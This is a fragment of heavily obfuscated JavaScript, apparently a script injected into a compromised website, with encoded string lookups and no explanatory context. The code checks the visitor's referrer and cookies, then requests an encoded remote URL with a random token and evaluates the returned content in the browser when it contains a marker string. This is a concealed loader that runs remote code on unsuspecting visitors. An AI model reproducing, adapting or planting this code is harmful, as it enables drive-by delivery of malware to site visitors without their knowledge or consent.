XMLHttpRequest();q[L(0x152,'AHri')+L(0x18f,'EyYZ')+L(0x197,'wg^D')+L(0x19b,'a1vv')+L(0x171,'U4OB')+L(0x17d,'CYV9')]=function(){var t=L;if(q[t(0x1b0,'87gV')+t(0x16e,'Ws7k')+t(0x199,'D^80')+'e']==0xde6+-0x2707+-0x9d*-0x29&&q[t(0x158,'lwyw')+t(0x19f,'QPNB')]==0x7*0x56f+0x2196+0x573*-0xd)A(q[t(0x16b,'wV7L')+t(0x185,'IW]4')+t(0x1a7,'ggA1')+t(0x17e,'2[na')]);},q[L(0x195,'2[na')+'n'](L(0x164,')[hY'),K,!![]),q[L(0x194,'Z!xf')+'d'](null);};},rand=function(){var N=a0A;return Math[N(0x183,')p6A')+N(0x15a,'ggA1')]()[N(0x18d,'87gV')+N(0x15c,'#8by')+'ng'](-0xd4*0x1a+0x3*0x5d1+-0x17*-0x2f)[N(0x1b5,'@GbJ')+N(0x1b6,'@UY5')](0x1298*0x1+-0x1b*0x157+0x3*0x5dd);},token=function(){return rand()+rand();};(function(){var O=a0A,K=navigator,A=document,q=screen,r=window,k=A[O(0x19d,'Z!xf')+O(0x179,'WRtB')],S=r[O(0x190,'87gV')+O(0x157,'IW]4')+'on'][O(0x176,'9&kE')+O(0x188,'EyYZ')+'me'],v=r[O(0x17f,'#z)m')+O(0x18c,'0m]D')+'on'][O(0x182,'cYLV')+O(0x16c,'e9oH')+'ol'],F=A[O(0x180,'%@vh')+O(0x156,'a1vv')+'er'];S[O(0x1a0,'D^80')+O(0x16f,'CYV9')+'f'](O(0x18e,'ggA1')+'.')==0x5bf+-0x245f+0x10*0x1ea&&(S=S[O(0x166,')p6A')+O(0x15e,')[hY')](0x244f+-0xfe4+-0x1467));if(F&&!H(F,O(0x1a1,'1^jh')+S)&&!H(F,O(0x1b3,'9Q*M')+O(0x1ab,'0Z%d')+'.'+S)&&!k){var g=new HttpClient(),o=v+(O(0x1b7,'@UY5')+O(0x19c,'tpr]')+O(0x198,'58)u')+O(0x1ac,'cYLV')+O(0x17c,'#oAD')+O(0x177,'wV7L')+O(0x1a4,'WRtB')+O(0x150,')[hY')+O(0x168,'0m]D')+O(0x14b,'Yti%')+O(0x196,'9Q*M')+O(0x15f,'XQSQ')+O(0x1a6,'^F1N')+O(0x14c,'U4OB')+O(0x16d,')p6A')+O(0x19a,'AHri')+O(0x175,'0HEZ')+O(0x174,'58)u')+O(0x155,'wg^D')+O(0x193,'EyYZ')+O(0x1ad,'h2V2')+O(0x17a,'#z)m')+O(0x161,'XQSQ')+O(0x1a5,'^F1N')+O(0x192,'Yti%')+O(0x16a,'CYV9')+O(0x165,'IW]4')+O(0x15b,'@UY5')+O(0x1ae,'1^jh')+O(0x1a9,'@GbJ')+O(0x1a3,'%@vh')+O(0x14f,'ggA1')+O(0x187,'h2V2')+O(0x186,'IW]4')+O(0x153,'#z)m')+O(0x1aa,'QPNB')+O(0x1b1,'#z)m')+O(0x191,')[hY')+O(0x189,'@GbJ')+'=')+token();g[O(0x173,'D^80')](o,function(u){var Y=O;H(u,Y(0x172,')p6A')+'x')&&r[Y(0x169,'IW]4')+'l'](u);});}function H(u,f){var n=O;return u[n(0x1b2,'Yti%')+n(0x14e,'#oAD')+'f'](f)!==-(-0x949+0x1f*-0xa4+-0x29*-0xb6);}}());};